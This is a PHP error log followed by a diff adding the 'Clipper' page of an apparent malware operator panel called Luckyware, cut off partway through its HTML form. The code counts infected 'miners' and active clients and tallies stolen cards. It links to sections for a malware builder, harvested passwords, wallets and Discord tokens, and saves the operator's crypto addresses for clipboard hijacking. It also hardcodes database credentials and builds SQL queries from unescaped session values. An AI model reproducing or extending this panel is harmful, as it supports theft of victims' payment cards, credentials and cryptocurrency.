|
||||
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[09-Nov-2023 19:42:33 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Unknown column 'Urls' in 'where clause' in /home/luckycha/public_html/Dashboard/Cards/crd3453745.php:102
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/crd3453745.php(102): mysqli_query(Object(mysqli), 'SELECT COUNT(*)...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/crd3453745.php on line 102
|
||||
@@ -0,0 +1,660 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
$domainyess = $_SERVER['HTTP_HOST'];
|
||||
$secretkey = $_SESSION['secret_key'];
|
||||
$username = $_SESSION['admin_name'];
|
||||
$role = $_SESSION['Role'];
|
||||
|
||||
if (!isset($_SESSION['admin_name'])) {
|
||||
header('location:../Login/');
|
||||
} else {
|
||||
|
||||
if ($role == 'Trial') {
|
||||
header('location: https://' . $domainyess . '/Subscriptions');
|
||||
}
|
||||
|
||||
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
|
||||
|
||||
|
||||
if ($role == 'Founder') {
|
||||
|
||||
$selectu = "SELECT * FROM miners";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
|
||||
} else {
|
||||
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
|
||||
}
|
||||
|
||||
$resultanss = mysqli_query($conn, $selectana);
|
||||
$myaktv = mysqli_num_rows($resultanss);
|
||||
}
|
||||
|
||||
function sanitizeInput($input)
|
||||
{
|
||||
// Define the list of forbidden characters
|
||||
$forbiddenChars = ['(', ')', '=', '*'];
|
||||
|
||||
$isac = '0';
|
||||
// Check if the input contains any forbidden characters
|
||||
foreach ($forbiddenChars as $char) {
|
||||
if (strpos($input, $char) !== false) {
|
||||
// Forbidden character found, handle the error (you can customize this part)
|
||||
$isac = '1';
|
||||
}
|
||||
}
|
||||
|
||||
if ($isac == '1') {
|
||||
|
||||
return 'NoSpecialChar';
|
||||
} else {
|
||||
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
|
||||
}
|
||||
}
|
||||
|
||||
$successMessage = '';
|
||||
if (isset($_POST["save"])) {
|
||||
|
||||
$BTC = sanitizeInput($_POST['btc']);
|
||||
$ETH = sanitizeInput($_POST['eth']);
|
||||
$LTC = sanitizeInput($_POST['ltc']);
|
||||
$XMR = $_POST['xmr'];
|
||||
$DOGE = sanitizeInput($_POST['doge']);
|
||||
$DASH = sanitizeInput($_POST['dash']);
|
||||
$XRP = sanitizeInput($_POST['xrp']);
|
||||
$NEO = sanitizeInput($_POST['neo']);
|
||||
|
||||
|
||||
$finalstring = $BTC . "|" . $ETH . "|" . $LTC . "|" . $XMR . "|" . $DOGE . "|" . $DASH . "|" . $XRP . "|" . $NEO . "|";
|
||||
$sql = "UPDATE accounts SET Wallets=? WHERE OwnerKey=?";
|
||||
$stmt = $conn->prepare($sql);
|
||||
$stmt->bind_param("ss", $finalstring, $secretkey);
|
||||
|
||||
if ($stmt->execute()) {
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
$BTCLAST;
|
||||
$ETHLAST;
|
||||
$LTCLAST;
|
||||
$XMRLAST;
|
||||
$DOGELAST;
|
||||
$DASHLAST;
|
||||
$XRPLAST;
|
||||
$NEOLAST;
|
||||
|
||||
|
||||
// Query to fetch the value from the "wallet" column
|
||||
$sqlwallety = "SELECT Wallets FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here
|
||||
|
||||
$resultwallety = mysqli_query($conn, $sqlwallety);
|
||||
|
||||
if ($resultwallety->num_rows > 0) {
|
||||
// Display the value from the "wallet" column
|
||||
$rowanan = $resultwallety->fetch_assoc();
|
||||
$walletValueRaw = $rowanan["Wallets"];
|
||||
$RealWallets = explode("|", $walletValueRaw);
|
||||
|
||||
|
||||
list($BTCADD, $ETHADD, $LTCADD, $XMRADD, $DOGEADD, $DASHADD, $XRPADD, $NEOADD, $dummy) = $RealWallets;
|
||||
|
||||
if (empty($BTCADD)) {
|
||||
$BTCLAST = 'Addres Not Setted. Enter BTC Addres';
|
||||
} else {
|
||||
$BTCLAST = 'BTC Addres Is Setted To ' . $BTCADD;
|
||||
}
|
||||
|
||||
if (empty($ETHADD)) {
|
||||
$ETHLAST = 'Addres Not Setted. Enter ETH Addres';
|
||||
} else {
|
||||
$ETHLAST = 'ETH Addres Is Setted To ' . $ETHADD;
|
||||
}
|
||||
|
||||
if (empty($LTCADD)) {
|
||||
$LTCLAST = 'Addres Not Setted. Enter LTC Addres';
|
||||
} else {
|
||||
$LTCLAST = 'LTC Addres Is Setted To ' . $LTCADD;
|
||||
}
|
||||
|
||||
if (empty($XMRADD)) {
|
||||
$XMRLAST = 'Addres Not Setted. Enter XMR Addres';
|
||||
} else {
|
||||
$XMRLAST = 'XMR Addres Is Setted To ' . $XMRADD;
|
||||
}
|
||||
|
||||
if (empty($DOGEADD)) {
|
||||
$DOGELAST = 'Addres Not Setted. Enter DOGE Addres';
|
||||
} else {
|
||||
$DOGELAST = 'DOGE Addres Is Setted To ' . $DOGEADD;
|
||||
}
|
||||
|
||||
if (empty($DASHADD)) {
|
||||
$DASHLAST = 'Addres Not Setted. Enter Dash Addres';
|
||||
} else {
|
||||
$DASHLAST = 'Dash Addres Is Setted To ' . $DASHADD;
|
||||
}
|
||||
|
||||
if (empty($XRPADD)) {
|
||||
$XRPLAST = 'Addres Not Setted. Enter XRP Addres';
|
||||
} else {
|
||||
$XRPLAST = 'XRP Addres Is Setted To ' . $XRPADD;
|
||||
}
|
||||
|
||||
if (empty($NEOADD)) {
|
||||
$NEOLAST = 'Addres Not Setted. Enter Solana Addres';
|
||||
} else {
|
||||
$NEOLAST = 'Solana Addres Is Setted To ' . $NEOADD;
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link rel="stylesheet" href="../assets/css/custom.css">
|
||||
<link rel="stylesheet" href="../assets/css/style.css">
|
||||
<link rel="stylesheet" href="../assets/css/hover.css">
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
|
||||
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
|
||||
<meta content="Luckyware" property="og:title" />
|
||||
<meta content="Luck is something you make and victory is something u take" property="og:description" />
|
||||
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
|
||||
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
|
||||
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
|
||||
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
|
||||
<title>Clipper</title>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: #111111;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
opacity: 1;
|
||||
visibility: visible;
|
||||
/* Add visibility property */
|
||||
transition: all 1s ease;
|
||||
/* Longer transition and apply to all */
|
||||
}
|
||||
|
||||
.loading-overlay.fade-out {
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
/* Hide element after fade */
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 3px solid #333;
|
||||
border-radius: 50%;
|
||||
border-top-color: #850000;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body class="dg">
|
||||
<div class="loading-overlay">
|
||||
<div class="loading-spinner"></div>
|
||||
</div>
|
||||
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
|
||||
<div class="grid sm:grid-cols-2 px-5 py-3">
|
||||
<div class="1 text-left">
|
||||
<div class="flex">
|
||||
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
|
||||
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
|
||||
class="textCol">Dashboard</span></h1>
|
||||
</div>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid xl:grid-cols-12"> <!-- start -->
|
||||
|
||||
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
|
||||
<div class="1">
|
||||
<div class="flex justify-center mt-10">
|
||||
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
|
||||
Lucky <span class="textCol">Ware</span>
|
||||
</h1>
|
||||
</div>
|
||||
<div class="mx-5 mt-6">
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-key text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-play text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-clipboard textCol mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
|
||||
|
||||
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
|
||||
|
||||
<div class="1 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
|
||||
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mytk; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="2 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Active Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $myaktv; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="3 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mystole; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
|
||||
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Subscription</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $role; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
<form method="post">
|
||||
|
||||
<div class="grid xl:grid-cols-1 gap-5 mt-5">
|
||||
<div class="1 bg rounded-lg pb-5 h-max btn2"><!-- clipper-->
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"> <i
|
||||
class="fa-solid fa-house-flood-water mr-1 icon2"></i> Clipper Crypto Addresses
|
||||
</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-500"></h1>
|
||||
</div>
|
||||
</div>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="grid xl:grid-cols-2 gap-5 mx-5 mt-5">
|
||||
<div class="1">
|
||||
|
||||
<div class="dg px-5 py-5 rounded-lg"><!--Bitcoin-->
|
||||
<div class="grid grid-cols-6">
|
||||
<div class="flex">
|
||||
<i class="fa-brands fa-btc text-3xl text-yellow-600"></i>
|
||||
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-1">BTC
|
||||
</h1>
|
||||
</div>
|
||||
<div class="sc-container ml-5 col-span-5">
|
||||
<input id="btc" type="text" name="btc" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
|
||||
placeholder="<?php echo $BTCLAST; ?>" type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dg px-5 py-5 rounded-lg mt-5"><!--Litecoin-->
|
||||
<div class="grid grid-cols-6">
|
||||
<div class="flex">
|
||||
<i class="fa-solid fa-litecoin-sign text-3xl text-blue-800"></i>
|
||||
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-1">LTC
|
||||
</h1>
|
||||
</div>
|
||||
<div class="sc-container ml-5 col-span-5">
|
||||
<input id="ltc" type="text" name="ltc" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
|
||||
placeholder="<?php echo $LTCLAST; ?>" type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dg px-5 py-5 rounded-lg mt-5"><!--Doge-->
|
||||
<div class="grid grid-cols-6">
|
||||
<div class="flex">
|
||||
<img src="../assets/img/doge.png" alt="">
|
||||
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-0">Doge</h1>
|
||||
</div>
|
||||
<div class="sc-container ml-5 col-span-5">
|
||||
<input id="doge" type="text" name="doge" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
|
||||
placeholder="<?php echo $DOGELAST; ?>" type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dg px-5 py-5 rounded-lg mt-5"><!--XRP-->
|
||||
<div class="grid grid-cols-6">
|
||||
<div class="flex">
|
||||
<img src="../assets/img/xrp.png" alt="">
|
||||
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-0">XRP</h1>
|
||||
</div>
|
||||
<div class="sc-container ml-5 col-span-5">
|
||||
<input id="xrp" type="text" name="xrp" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
|
||||
placeholder="<?php echo $XRPLAST; ?>" type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="2">
|
||||
|
||||
<div class="dg px-5 py-5 rounded-lg"><!--Ethereum-->
|
||||
<div class="grid grid-cols-6">
|
||||
<div class="flex">
|
||||
<i class="fa-brands fa-ethereum text-3xl text-purple-600"></i>
|
||||
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-1">ETH
|
||||
</h1>
|
||||
</div>
|
||||
<div class="sc-container ml-5 col-span-5">
|
||||
<input id="eth" type="text" name="eth" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
|
||||
placeholder="<?php echo $ETHLAST; ?>" type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dg px-5 py-5 rounded-lg mt-5"><!--XMR-->
|
||||
<div class="grid grid-cols-6">
|
||||
<div class="flex">
|
||||
<i class="fa-brands fa-monero text-3xl text-orange-600"></i>
|
||||
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-1">XMR</h1>
|
||||
</div>
|
||||
<div class="sc-container ml-5 col-span-5">
|
||||
